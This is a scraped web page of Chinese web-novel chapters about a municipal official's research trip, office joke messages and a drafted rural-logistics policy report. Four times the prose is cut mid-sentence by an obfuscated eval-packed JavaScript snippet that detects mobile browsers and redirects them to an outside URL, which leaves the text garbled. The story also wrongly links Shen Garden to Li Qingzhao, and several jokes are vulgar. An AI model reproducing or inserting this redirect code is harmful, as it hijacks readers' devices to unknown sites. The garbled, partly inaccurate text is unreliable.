49.看哪个银行缩写最牛：中国建设CBC（存不存），中国银行BC（不存），中国农业银行ABC（啊不存），中国工商银行ICBC(爱存不存)，民生银行CMSB(存吗傻逼)。 50.夜空一颗流星划过，我连忙许了心愿，希望你能变漂亮些，谁知刚许完心愿，流星‘嗖’地返回来，对我说：大哥！诚心为难我是不是？！ 51.阿袁在外地学习。一天，他发现生活费已提前用完，便忙给家里拍电报求援。电报上只有四个字：弹尽粮绝。没几天，阿袁收到家里的回电：顶住！ 52.一对男女偷情，丈夫突然回家，男的没顾穿衣服就跳窗逃跑，走在大街上路上围观，男的装着若无其事看天：啊，这就是地球呀。路人说：操，装鸡毛外星人。 53.深夜，波音737飞行员回家，咚咚敲门。妻：谁？飞行员幽默地说：737请求着陆！突然屋里一男子喊：收到，777马上起飞，给你腾出停机位！ 54.胡萝卜见客户，恭敬地递上名片，客户看名片问：你怎么叫高丽参啦？胡萝卜小腰一挺，‘人家哈韩了嘛！’ 55.抢匪：快把保险箱密码说出来！不说杀了你！女职员：杀了我也不说！糟蹋了我也不说！抢匪上下打量她后说：‘你想得美！’ ……” 达恩豪看完了“嘿嘿嘿”笑个不停，赶紧在下面的输入框里点上三个赞，三个竖起的大拇指表情包“发送”过去，关手机装手机，收拾好心情，继续奋不顾身投入到消灭材料的战斗之中！ “达处长，上次不是会上定好了吗，我和嘉成都有事去不了，你老成稳重，就你带队课题组出去调研现代物流体系政策情况，具体你掌握，时间一周左右，跑上四五个城市。”国庆节后的第一天，达恩豪被金学盛打电话，叫到主任办公室里，金学盛这样对达恩豪安排布置道。 85. 第 85 章 第八十五章调研途中 “好的。”达恩豪本不想带队，既然领导都说出来了，他也不好回绝，就免强同意了，但脸上还是微笑着的，历来脾气都好的达恩豪，向金学盛这样回答道。 “达处长，我们课题组出差，我再不回滨河了，我直接从中原省郑都出发，给你们打个前站先到姑苏，我在姑苏等你们。”臭嘴鲁希雷乘国庆放假，请假回家看老娘去了，这时给达恩豪打来一个电话，对他这样冷不丁地说道。 “嗯……啊……噢！”电话这头，达恩豪听臭嘴鲁雷给他现在才通气，如果不给他说，他确实还不知道这情况，就感觉吃惊奇怪，就哼哼哈哈地应付着。 “我事前给金主任打过招呼了，没问题的。我们姑苏再见。”臭嘴鲁希雷听着带队的组长达恩豪不表态，心想肯定是心里不高兴他提前没有给达恩豪打招呼，就抬出来金学盛压达恩豪。 “知道了，好的。”达恩豪一听臭嘴直接扯出来金学盛拉虎皮作大旗，达恩豪知道臭嘴鲁希雷老在他面前煊耀自己和金学盛关系有多铁，是真是假达恩豪也不清楚，但有一点达恩豪是确定的，臭嘴鲁希雷双职工“双高”（工资）家庭，平常年头节下给金学盛送个好烟好酒什么的，倒是有很大的可能。你不要说了，真还他给金学盛说好了。想到这里，就免强对臭嘴鲁希雷这样回答道。 达恩豪一行六人，背着双肩包，拉着手提箱，从滨河市出发，坐中巴面包车，乘飞机到达之江省姑苏市，机场出口接机的人不见。 “肖庆，你赶紧联系一下姑苏市政府研究室接站的人。”达恩豪背着双肩包，拉着手提箱，脸上阴沉，很不高兴，显得有些生气地对信息处刚分配来的研究生肖庆这样催促道。 肖庆这时，不以为然，好像没有听见带队人给他说话似的，我行我素，闭口不言，也不看达恩豪，若无其事地拉着手提箱，背着双肩包，头一偏，走过去到和佟若贤，强晓宁两三个人聊天闲扯。 最后，达恩豪领着他们五个人，卖票坐了机场大巴进了市区，又搭了一辆出租车才找到他们计划下榻的宾馆门口。六个人走进了这家宾馆，来到大厅的总服务台前。 “达处长，我先住了你的房间一晚上，现在移交给你，正好我们七个人，你带队住单间，我们其他六个人两个人一个标准间，再要三个标准间就好了。”臭嘴鲁希雷不知道什么时候，从那儿钻出来了，站在达恩豪和课题组其他五个人面前，习惯性往上推一下眼镜框，双手插腰，有些霸气，大突嘴这么一张，白色唾沫星子乱飞，微笑着对达恩豪这样说道。 “……嗯！”一听鲁希雷擅作主张，先享受一晚领队的特权和待遇，臭嘴就是这样一个人，老认为自己比别人强，霸道得狠，尤其是对善良温和的老好人达恩豪，更是宰你没商量，达恩豪虽然是很重生气，心里特别恼火，张嘴无语。但这时面无表情，甚至还带着一点不易觉察的微笑，转念又一想，单间是你给我开的，单位上和金学盛如果找麻烦，我还可以推给臭嘴鲁希雷，当臭嘴鲁希雷作当箭牌，有个缓冲的余地，最后还是这样嗯哼着答应了一声。 到了浙杭市，他们又和姑苏市一样，和浙杭市政府研究室看物流市场建设的点，在政府研究室开会座谈，要资料，拷资料，完了就欢天喜地地去游览西湖了，七八个人一大群都是一色的男同志，在沿着湖边上逛，上断桥，找湖心岛的风月无边的字碑，看风景，拍照片，玩得心情舒畅，玩得流连忘返。 下一站，达恩豪们几个课题调研组来到浙绍市，搞完了调研的正事，慕名游览了鲁迅故里，鲁镇，那个什么酒馆找到了，孔已己也找到了，是塑像，想找阿Q欺负的光头尼姑住的尼姑庵，不停打问，来回奔波，却怎么也没有找到，深感遗憾！ 附近不远，达恩豪又领着大家去浏览沈园，最为人所知的便是李清照与赵明诚的爱情故事。两人曾在此共度美好时光，留下了无数感人的诗篇。走在园中，仿佛能听见她那凄婉的词句在耳边回响。园内的李清照词碑，更是吸引着达恩豪们和无数文人墨客前来瞻仰。这里不仅是游览的胜地，更是对古代文化与爱情的追忆与缅怀，让每一个人都能感受到那份执着与深情。 到了江南水乡，达恩豪们去浏览周庄，达恩豪独自在水乡窄窄的河道两岸街道上徜徉，徘徊，穿行于河道上面的各式各样的小桥，参观商铺，店面，把玩字画，图书，文方四宝等，感受江南的文气，接受江南文化的熏陶与浸染！ 佟若贤则鼓动几个年轻人，肖庆，强晓宁等，执意要坐乌篷般，穿越水上山洞，去宽阔的大江面上游玩一番。人来人往，熙熙攘攘中，乘下达恩豪和老杨，臭嘴鲁希雷，在江南水乡的水巷小桥上穿行游逛。 这一趟以达恩豪为主导的，简直就是文化文学之旅的外地课题调研。在外地城市跑了八九天，乘飞机回到滨河后，达恩豪开始忙活起来了，课题报告得尽快拿出来。写材料的老实人，加班加班地干活，一周时间，到了八月底，就写出了课题报告第五部分的初稿。达恩豪共写了25页，大约1.3万余字，他记得，具体内容大体如下： “五、城郊及三县物流业发展政策措施和主要建议 近年来，我市城郊及农村物流业的发展，紧紧围绕新农村建设，实施“万村千乡市场工程”，狠抓了便利超市、农资超市建设，积极构建农村市场体系，形成以农村物流业以县城大型市场为中心、乡镇集贸市场为骨干、村社商业网点为基础的商品流通网络，促进农村 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14751986|150112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 健康消费和农产品流通。但目前我市城郊及农村物流业发展中存在的一些困难和问题……今后要紧紧围绕推进“万村千乡市场工程”建设扩容升级，力争3—5年内，60%的乡镇建设1个批发市场或乡镇级物流中心，5—10年，每个乡镇都建设1个批发市场或乡镇级物流中心，实施“双十市场工程”，3—5年内建设年销量500万吨以上的5个农村和城郊大中型农产品批发交易市场，以及5个年销售收入500万元以上骨干农产品物流企业，5—10年内建设年销量500万吨以上的10个农村和城郊大中型农产品批发交易市场，以及10个年销售收入500万元以上骨干农产品物流企业，确保有1个大型农产品批发市场进入国家“双百市场工程”…… （一）搞活农村市场的主要政策措施 1.以实施“双十市场工程”为龙头活跃农产品流通 制订全市农村及城郊物流业的发展专项规划，加快整合农村和城郊市场资源……为建设或改造物流企业而向银行借贷的中长期固定资产投资贷款，将获得一年贷款利息补助，贷款额度200—500万元，政府将提供2％的银行贴息贷款。税收上实行优惠政策……新办企业的所得税从经营起，免征2年，第3—5年减半征缴，从第六年起按国家规定的15%税率纳税。增值税自经营之日起2年内，市县留成部分，由受益财政列支照顾，返还50%，支持企业发展。企业安置本地区下岗职工超过企业全年平均从业人员的60%的，经就业管理部门确认，税务部门审核后，再延期免征企业所得税3年；安置下岗职工超过企业全年平均从业人员30%的，经就业管理部门确认，税务部门审核后，再延期减半征收企业所得税2年…… 2.支持工业消费品物流企业下乡进村开发农村市场 坚持统筹城乡发展，促进农村物流业的加快发展……在市财政每年安排的扶持现代物流业发展的专项资金中，为建设或改造物流企业而向银行借贷的中长期固定资产投资贷款，将获得一年贷款利息补助，贷款额度30—50万元，政府将提供2％的银行贴息贷款。物流企业的营业税，扣除运输、仓储等业务收入后再作为计税基数，计征营业税。新办企业的所得税从经营起，免征2年，第3—5年减半征缴，从第六年起按国家规定的15%税率纳税。增值税自经营之日起2年内，市县留成部分，由受益财政列支照顾，返还50%，支持企业发展。企业安置本地区下岗职工超过企业全年平均从业人员的60%的，经就业管理部门确认，税务部门审核后，再延期免征企业所得税3年；安置下岗职工超过企业全年平均从业人员30%的，经就业管理部门确认，税务部门审核后，再延期减半征收企业所得税2年…… 86. 第 86 章 第八十六章物流政策 3.以连锁配送中心建设为重点改造提升农资物流业 以县城、乡镇农业生产资料连锁配送中心为骨干，上与农业生产资料厂商直接建立营销关系和渠道……优先向符合条件的农村物流企业发放贷款，对信息等现代科技和现代运输工具的装备建设，将获得一年贷款利息补助，贷款额度8—10万元，政府将提供2％的银行贴息贷款。农资物流企业的营业税，扣除运输、仓储等业务收入后再作为计税基数，计征营业税。新办企业的所得税从经营起，免征2年，第3—5年减半征缴，从第六年起按国家规定的15%税率纳税。新办农资物流企业，增值税自经营之日起2年内，市县留成部分，由受益财政列支照顾，返还50%……要制订实施《滨河市农业生产资料产品流通目录》、《滨河市农业生产资料流通服务规范》、《滨河市农业生产资料流通售后服务标准》，明确服务范围，增加服务内容，采用现代营销手段，提升流通服务的设施和装备…… 4.积极扶持农产品营销服务组织搞活农产品交易 一是大力扶持农产品经销商……二是创新农产品营销服务方式……三是加大农产品营销商的政策扶持力度……对大中型的农产品营销企业组织，要优先列为农村和城郊重点物流建设项目，享受扶持现代物流业发展的专项资金政策，将获得一年贷款利息补助，贷款额度5—7万元，政府将提供2％的银行贴息贷款。凡新进入物流基地的个体经营商户，免征新购置物流专用车车辆购置附加费，免收一切地方行政性收费。 5.鼓励支持非公经济投资兴办城郊及农村物流业 对在城郊和农村兴办的非公经济的批发市场、物流基地、物流中心、物流企业和便利超市……每年比上年新增的增值税地方留成部分，由市县级财政部门全额列支三年返还以扶持企业。市外投资者将其在企业分得的利润再投资于该企业或者作为资本新办其它农村物流企业，经营期5年以上的，返还其再投资部分缴纳所得税的40%的税款。鼓劲农村非公物流企业采用国产设备仪器，对于用以提高物流技术装备水平而购置的国产物流先进设备，其投资抵扣免征投资方向调节税，购进国产设备符合税法规定的，其投资抵免企业所得税，对进口的大中型物流先进设备仪器投资实行退税，免征进口关税。市外投资者在我市县城、小城镇和建制镇新办物流企业，减半征收城市基础设施配套费和增容费。建立和完善非公农村物流企业授信制度，各商业银行要积极开展为农村非公物流企业信贷方式创新，推行以仓单、出口退税、应收账款为抵押的贷款方式，试办专利权质押贷款等信贷新业务。外商在购置物业、就医、子女入学等方面与我市居民同一标准收取费用…… 6.加快培育农村物流人才为农村物流业发展提供保障 利用县乡镇的农技校等各种场所，开设农村物流方面内容的教学培训科目和课程，采用短期培训班，函授和电视广播等灵活多样的形式，开展农村物流人才的教育培养。教学和培训费用，要优先列为农村和城郊重点物流建设项目，享受扶持现代物流业发展的专项资金政策，切块对参训农民进行补助。市县区劳动部门……在农村物流人才的职业技能培训、考试、职业技能鉴定，职业资格证、技术等级证的申报、审批和发证上，简化不必要的手续，尽量减免各种培训费、报名费、考试费和证件印制费等……人事部门要在职称考试、申报、审批和发证上，……为农村非公有制物流企业组织的物流相关人才大开“绿灯”，减免各种手续费和考试报名费、工本费等…… 7.加快农村物流信息化建设构筑农村物流信息平台 一是积极建设农村信息服务站，在农村便利超市率先建成“村级商务信息服务站”，当地群众通过互联网了解全国农产品市场供求信息，发布滨河高原夏菜、瓜果等农产品销售信息……二是积极组织我市农产品流通企业参加“新农村商网夏季水果蔬菜网上购销对接会”等，外销并宣传推介地产优质蔬菜、瓜果等农产品。三是在继续加强农村广播电视“村村通”工程建设的基础上……在配置电脑并上网开展农村物流信息服务时，每机线可一次性财政补贴200元，并允许其开展有偿信息服务，收费标准不高于当时当地的上网收费标准。四是依托全市各级各类驻外机构和企业组织、务工经商人员，建立全国各大城市地区的兼职信息队伍和网点…… 8.加快农村及城郊基础设施建设与农村物流业配套 对重点农村物流企业建设项目，在交通、电力、用水、征地、建筑等基础设施建设上，必须纳入农村总体规划布局之中，统筹安排，加大财政资金、国债资金投入力度……加强农村及城郊道路建设……加快农村电网改造……大力实施农村安全饮水工程……对于列入“双十工程市场”建设项目的市场……由市县（区）财政投资建设。基础设施建设在设计建房环节的报建规费、环境测评、消防验收和产权办理等环节的费用，按规定标准减半收取。电网建设铁费、自来水和供热管网建设的各种配套费、集资费和其它一次性费用减半收取……卫生费和垃圾清运费5年内减半收取。 9.加强农产品“绿色通道”建设提高物流效率 对农村物流企业，购置现代物流专用冷藏、保鲜、集装箱运输、装卸工具等，其投资抵扣免征投资方向调节税，进口的货物运载装卸工具设备，实行出口退税，免征进口环节的关税和其它进口税费，免征新购置物流专用车车辆购置附加费。加快货物运载装卸工具设备的折旧费提取，大型货物运载装卸工具设备折旧费提留期缩短5年，中型以下折旧费提留期缩短3年，报废期原则上不变。农村大中型物流企业所拥有的货物运输专用车辆，在高速公路上设立专门的“绿色通道”……运管费减半按50%征缴，并由市公安局发放“绿色通道”通行证，准许在城区与经营业务有关联的各市场、商场、百货店、超市等地点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14765191|150112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 通行和停靠。 10.大力发展农村外贸物流业开发农村开放型经济 一是支持农村外贸物流企业组织扶持建设农村出口创汇产业基地。鼓励和支持农村外贸物流企业，在农村投资扶持建设高原夏菜、百合、西甜瓜、玫瑰、马铃薯、花卉、鳟鱼、中药材种植加工等特色农产品出口生产基地……并鼓励和支持农村外贸物流企业，投资建设符合国家产业政策和我市工业品出口目录的工业类出口产品，石化、有色、冶金、建材、矿产等领域的产业和产品，对符合国家产业政策的依托本地资源优势的工矿类物流企业，减半征收资源税……对投资购置冷藏、保鲜、加工、装卸、运销，以及工业生产设备，免征投资方向调节税，进口设备免征海关进口相关的各种税费……二是扶持搞活农村外贸物流产业。支持内外资投资我市农林牧综合开发、种养殖业、农村新型旅游业、农村物流产业、农村服务体系建设和农村第三产业发展，并实施“走出去”战略……三是农村和农产品外贸物流企业实行便利的通关优惠政策。对此两类农村外贸物流企业，实行出口退税政策，免征海关出口有关税费…… 11.充分发挥农村物流专业合作组织和物流协会的作用 在农业产业化发展基金中，切块拿出一部分资金，建立农村物流专业合作组织补助基金，用以支持鼓励成立农村各级各类物流专业合作组织和物流协会，广泛吸收物流企业和个体商户入会，民政社会团体管理和商务部门，要做好各项服务工作，免收申报、注册、登记、发证、年检等环节的工本费、年检费等行政事业性收费……积极探索和开展多种供应链物流管理，培养供应链核心企业，根据实际情况形成“生产企业+农户”、“批发企业+农户”、“零售企业+农户”、“配送中心+农户”、“农产品协会+农户”、“农产品技术协会+农户”、“农业合作组织+农户”等多元化的物流运作模式，探索以ASP方式，按照中间企业供应链组织型、零售企业定点型、连锁集团主导型、批发市场服务拓展型等多种流通模式…… 12.规范城郊及农村物流市场秩序改善农村消费环境 一是加强农产品质量安全标准体系建设。在加快建设我市优势特色产业聚集区的同时，加快建立农产品质量可追溯体系，建立健全以投入品管理、标准化生产、市场准入和产地准出“四位一体”的质量监管体系，完善长效管理机制，切实提升无公害农产品质量安全水平……实现农产品从“田间到餐桌”的全程监管。二是实施农产品品牌战略。坚持政府引导、企业为主、质量为本、注重创新的原则……着力打造“滨河高原夏菜”、“滨河百合”、“滨河西甜瓜”、“滨河玫瑰”、“滨河优质马铃薯”等品牌……三是实施“放心食品”工程。建立健全农作物、肉蛋奶鱼类动植物检疫检验和食品卫生物检疫检验三大体系，加快成立农业执法队伍，强化农村质量技术监督管理建设……四是严厉打击制售假冒伪劣商品…… 87. 第 87 章 第八十七章领导抓差 （二）实施“万村千乡”市场工程扩容升级的主要政策措施 1.实施“万村千乡”市场工程扩容升级 引导城市连锁和超市向农村延伸发展“农村小超市”。 乡镇级“农村超市”原则上以批零结合的综合性服务为主，鼓励其从事农资、日用小商品的批发与零售经营，以及政策允许的农副产品购销业务等。以村级“农村小超市”零售服务为主，开发“农超对接新平台”，加快“城乡双方物流”。 产销结合，倡导大型流通企业与生产企业进行“工商联手”，研发并生产适合当地消费特点的自有品牌消费品。采取多种方式，引导各类大中型流通企业直接到城郊和三县的乡村投资建立、改造连锁“农村小超市”…… 2、实施“万村千乡”市场工程扩容升级土地优惠政策 凡在我市投资“万村千乡”市场工程扩容升级相关基础设施建设项目用地，以及投资开发和利用国有荒山、荒地、荒滩、荒漠用于物流园区和基地、仓储、市场建设的，可依法申请无偿划拨。投资新办“万村千乡”市场工程扩容升级项目，其土地使用权出让金按市政府当年实施的土地出让金标准减少40%。利用国有荒山、荒地、荒滩、荒漠，投资新办现代物流业项目，免征土地出让金…… 3、财政大力支持“万村千乡市场”工程扩容升级 对列入“万村千乡市场”工程扩容升级的“农村小超市”……贷款额度5—7万元，将获得一年贷款利息补助；企业开办的每个乡级“农村小超市”将得到2800元补助，或每平方米150元，每个村级“农村小超市”补助3800元，或每平方米200元；每个乡镇物流中心或物流基地，可获得贷款5—7万元，并提供一年的贷款利息补助。 4.“万村千乡市场”工程扩容升级税收优惠政策 对列入“万村千乡市场”工程扩容升级的“农村小超市”，企业的营业税，扣除运输、仓储等业务收入后再作为计税基数，计征营业税。企业所得税从经营起，免征2年，第3—5年减半征缴，从第六年起按国家规定的15%税率纳税；新办的“农村小超市”，增值税自经营之日起2年内，市县留成部分，由受益财政列支照顾，返还50%，支持的“农村小超市”发展。市外投资者将其在企业分得的利润再投资于该企业或者作为资本新办其它农村物流企业，经营期5年以上的，返还其再投资部分缴纳所得税的40%的税款…… 5、“万村千乡市场”工程扩容升级工商管理优惠政策 对列入“万村千乡市场”工程扩容升级的“农村小超市”，注册登记费、行业管理费、年检费等减半收取，免收一切地方行政性收费。鼓劲“农村小超市”采用国产设备仪器，对于用以提高物流技术装备水平而购置的国产物流先进设备，其投资抵扣免征投资方向调节税，购进国产设备符合税法规定的，其投资抵免企业所得税…… 6、“万村千乡市场”工程扩容升级车辆管理优惠政策 对列入“万村千乡市场”工程扩容升级的“农村小超市”，所拥有的货物运输专用车辆运管费减半按50%征缴，并由市公安局发放“绿色通道”通行证…… 7、“万村千乡市场”工程扩容升级融资优惠政策 允许民间资本以独资或股份制形式参与“万村千乡市场”工程扩容升级项目建设，鼓励私人资本出资组建信用担保机构，为“万村千乡市场”工程扩容升级的“农村小超市”提供贷款担保服务…… 8、“万村千乡市场”工程扩容升级人才优惠政策 对在“万村千乡市场”工程扩容升级建设在引进的人才，需在本市定居的，由用人单位按户一次性发给安家补助费，其中：中级人才3万元左右，高级人才5万元左右。引进的国际国内专业领域领先水平的高级人才，提供四室两厅住房……以专利发明、专有技术等要素参与“农村小超市”经营管理收益分配，其作价的金额占注册资本比例最高不能超过35%…… （三）加快发展城郊及三县物流业的主要建议 1.加大财政支持城郊及农村物流业发展的力度 尽快制定《滨河农村物流业产业布局指导目录》、《滨河农村物流业投资项目指南》，设立城郊及农村物流业发展专项基金…… 2.加快农村仓储运输基础设施建设 依托农村客运站建设，鼓励其进行适当改造，增设货运中介代理功能，发展货运信息集散中心，方便车主和货主信息搜寻；依托大中型货运站场，鼓励其在农村增设货运分站（场、库），在分站受理货物，集中运输至中心站安排中转运输…… 3.改造提升供销社网络发挥农村物流主渠道作用 创新供销社经营体系，推进连锁配送经营。实施“农村现代经营服务网络”工程，以县（区）农资公司为龙头，以基层供销社为直销点，以实力较强、诚信较好、辐射面较大的村级综合服务站为延伸，建立了农资连锁配送体系，把全县（区）基层供销社网点整合起来，实行规模经营，打造连锁企业核心竞争力。制定出台《滨河县（区）供销社农业生产资料连锁配送管理制度》，具体采取“六统一”经营方式…… 4.建立健全农村物流市场的法律法规体系 一是建议市委、市政府尽快制定出台《加快农村物流业发展促进农村第三产业的实施意见》和《滨河市城郊及农村物流业发展规划》……二是建议市人大研究制定我市农村物流市场建设的相关法规。主要包括《滨河市农村及城郊物流业管理条例》、《滨河市农业生产资料经营管理办法》、《滨河市农产品批发市场管理条例》、《滨河市农村小超市管理暂行规定》等…… 5.强化城郊及农村物流工作目标责任管理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14773094|150112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 全市农村各级党政组织，要加强对农村物流工作和第三产业发展的协调领导…… 6.关于农村物流从者户籍政策和政治待遇 凡在滨河农村物流业和第三产业发展中从业的市外国内人员……可申请迁入我市落户，解决非农户口。对在我市农村物流业和第三产业发展中做出突出贡献的从业者……选举其担任党代表、人大代表和政协委员等群团组织中的社会职务……” 第二天在单位上班时间，达恩豪正坐在自己的办公桌椅间，专心致止，聚精会神，盯着电脑写一份材料。突然，“嘀嘀嘀！”手机接受信息的提示音这么响了几声，同时，右大腿右侧装手机的位置震动了几下。 达恩豪从自己的右裤兜里掏出手机，点亮，解锁，打开一看，有人发来一条微信短消息，再继续点开，果然，是他发来的，不是别人，正是隔壁办公室大腮帮子眼镜巴其平副处长。达恩豪仔细翻看，具体内容如下： “1.我在天空写下你的名字，却被风儿带走了；我在沙滩写下你的名字，却被浪花带走了；于是我在大街的每个角落写下你的名字……我靠，我被警察带走了。 2.你是我心中的太阳，可惜下雨了；你是我梦中的月亮，可惜被云遮住了；你是我心中最美的花朵，可惜开过了；你是天上的嫦娥降临人间，可惜脸先着地了…… 3.别跟我狂！容易死亡！别跟我装！容易受伤！群殴你没人！单挑你不行！我轻则把你打成坐轮椅的！重则把你捶成木乃伊！给你点面子！把你打得生活不能自理。 4.我是一棵葱，站在风雨中，谁要拿我沾大酱我找他老祖宗。我走南痛闯北北，厕所后面喝过水，火车道上压过腿，还和傻子亲过嘴。怎么样？啥也不拒，就是想你！ 5.我一直都守在你身边，也一再为你担心，今天你吃得饱吗？深夜会冷吗？我向来都知道你就是不会照顾自己，每当我一走开，你就从猪栏跳出去。 6.在铁路旁大号却没带纸时，别着急，火车会提醒你：裤擦，裤擦，裤裤擦！在河边上大号却没带纸时，别着急，青蛙会告诉你：棍刮，棍刮，棍棍刮！ 7.钱可以买房子但买不到家，能买到婚姻但买不到爱，可以买到钟表但买不到时间，钱不是一切，反而是痛苦的根源，把你的钱给我，让我一个人承担痛苦吧！ 8.老天，太蓝！大海，太咸！人生，太难！工作，太烦！和你，有缘！想你，失眠！见你，太远！唉，这可让我怎么办？想你想得我吃不下筷子，咽不下碗！ 9.送你12生肖，祝你聪明如鼠，强壮如牛，胆大如虎，可爱如兔，自信如龙，魅力如蛇，浪漫如马，温顺如羊，顽皮如猴，美丽如鸡，忠诚如狗，长得像猪！ 10.学问之美，在于使人一头雾水；诗歌之美，在于煽动男女出轨；女人之美，在于蠢得无怨无悔；男人之美，在于说谎说得白日见鬼。 88. 第 88 章 第八十八章发言材料 11.听说过吗？前世的五百次回眸，才换得今生的一次擦肩，象你我这样亲密的朋友，上辈子似乎没干什么，光他妈回头了！ 12.很久墨收到你的信息,俺很心疼.俺想到死,曾用薯片割过脉;用豆腐撞过头;用降落伞跳过楼;用面条上过吊.可都墨死成.你就请俺吃顿饭撑死俺算了。 13.长颈鹿嫁给了猴子，一年后长颈鹿提出离婚：我再也不要过这种上蹿下跳的日子了！猴子大怒：离就离！谁见过亲个嘴还得爬树的！ 14.鱼说：‘我时时刻刻把眼睁开是为了在你身边不舍离开。’水说：‘我终日流淌不知疲倦是为了围绕你好好把你抱起。’锅说：‘都他妈快熟了还这么倔。’ 15.狗对熊说：嫁给我吧,嫁给我你会幸福。熊说：才不嫁呢，嫁给你只会生狗熊，我要嫁给猫，生熊猫那才尊贵呢! 16.鸡跟牛发牢骚，人让我们多下蛋，自己却计划生育，太不公平了，牛说：‘你那点委屈算什么，那么多人吃我的奶，谁管我叫过妈？’ 17.没走几步，驴碰翻一水果摊，赔人20元。老农更气：‘你以为你是工.商城.管么想掀谁的摊儿就掀！’ 18.一老农赶着毛驴进城,驴闯红灯,罚10元.老农喝驴子：‘你以为你是军.车啊！红灯也敢闯！’ 19.小时侯，我家里很穷，没钱买自行车，我只好每天打的上学。初中的时候，因为我成绩太突出，学校领导留我多读了两年。初中毕业后，高中的校长觉得我很有前途，就多收了我三万。高三的时候，班主任认为我已经有独立生存的能力，于是让我退了学。 20.某鲜花店的广告：今日本店的玫瑰售价最为低廉，甚至可以买几朵送给太太。 21.我和超人的唯一区别是把内裤穿在里面了！ 22.虽然你是暴牙！别自悲，暴牙很好！暴牙可以刨地瓜，下雨可以遮下巴，喝茶可以隔茶渣，野餐可以当刀叉，你说暴牙是不是顶呱呱！ 23.家庭顺治、生活康熙、人品雍正、事业乾隆、万事嘉庆、前途道光、财富咸丰、内外同治、千秋光绪、万众宣统！ 24.我是一颗葱，上过山，打过虎，少林寺上练过武，左青龙，右白虎，常拿克……顿当二百五，还拿释……尼喂老虎！金字塔上跳过舞,耶……头上打过鼓！ 25.我身在江湖,江湖却没有关于我的传说! 26.关于丁字裤：以前，脱下内裤看屁股；现在，拔开屁股看内裤…… 27.走别人的路,让别人无路可走!你想挑战您的牌技吗?你想边玩边赚钱吗? 28.乐观者在灾祸中看到机会，悲观者在机会中看到灾祸。 29.生气是那别人的错误来惩罚自己。 30.我没事，十三太保金钟罩，练的就是屁股。 31.人生自古谁无死，啊个拉屎不用纸。 32.我身位和尚，我的任务是把爱分给众生。 33.你拿了我的定海神针，海底失去平衡，害得我们只能移民上岸边。 34.到了山顶才发现，错误的路和正确的路就差那么几步的距离。 35.不蒸馒头争口气行吗？ 36.我吃的盐比你吃的米还多呢？那是你口重；我过的桥比你走的路还多呢？那是你懒的动。 37.男人不醉，女人怎么有小费；女人不醉，男人怎么有机会；女人男人都不醉，宾馆没人睡。 38.非常大男子主义，‘非常大’正是根据我的某个器官特制而量身定做的。 39.商女不知亡国恨、妓女不懂婚外情。 40.不知不觉时间已匆匆，人生往往活在后悔中。 41.对上要恭、对下要威、对同级要含而不露。 42.再难再苦，就当自己是二百五，再难再险，就当自己是二皮脸。 43.你说你落后个脑袋还戴个前进帽。 44.炮轰的脑袋还梳个雷劈的逢。 45.我不会讲话，一见人多就结结巴巴，像羊拉屎一样，不合你的味道请多多包涵。 46.只知刚的人，难免会被折断；只有柔的人，到头来终是懦夫。 47.别看我不美，我拿你照样当土匪，别看我不肥，我拿你照样当棒槌。 48.我不在乎你有没有钱，我只在乎你有没有前途。 49.美人便秘时，与常人无二，话虽然损了点，毕竟也是人家的心声啊。 50.再完美的身材，在不爱她的人的眼里，也是一种解闷调侃的作料。” 达恩豪看着看着就“嘿嘿嘿”这么笑个不停，有一达没一达的“哼哼哼”偷笑着，看完了，给大腮帮子眼镜巴其平副处长回过去一条微信，不用问也知道，是三个点赞，三个竖起的大拇指表情图。 在外出西疆省和本省河祁等八城市参团考察调研，滨河市第二党政代表团团长，滨河市人大主任柯贤益，这个比达恩豪大十岁左右的老领导，衣着朴素，短稀的头发已花白，但脸色红润有血丝，一脸和谒可亲。搭开始第一次见面作代表团成员介绍时，不论是团内，省内，还是在西疆省几个城市，都说陶才生是从北清大学毕业的“高才生”，是我们滨河市第二党政代表团副团长。听这话音，这个人大的老主任很看得起这个滨河市挂职锻炼三年的副市长陶才生的。 自从滨河市政府副市长陶才生认识达恩豪后，特别是一同在这个滨河市党政第二代表团里，一同赴西疆省和河陇本省河祁八城市调研，十几天里，天天一齐调研看点，进企业，上工厂，下农村，入建设现场，一同吃饭，同住一个宾馆酒店。调研回来就盯上了达恩豪，陶才生心想，这样好的材料高手不用白不用，用了合我的意，达恩豪是个可用之材。所以，老找达恩豪给他写材料，什么会议讲话稿，学习班发言材料，给上级领导的工 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 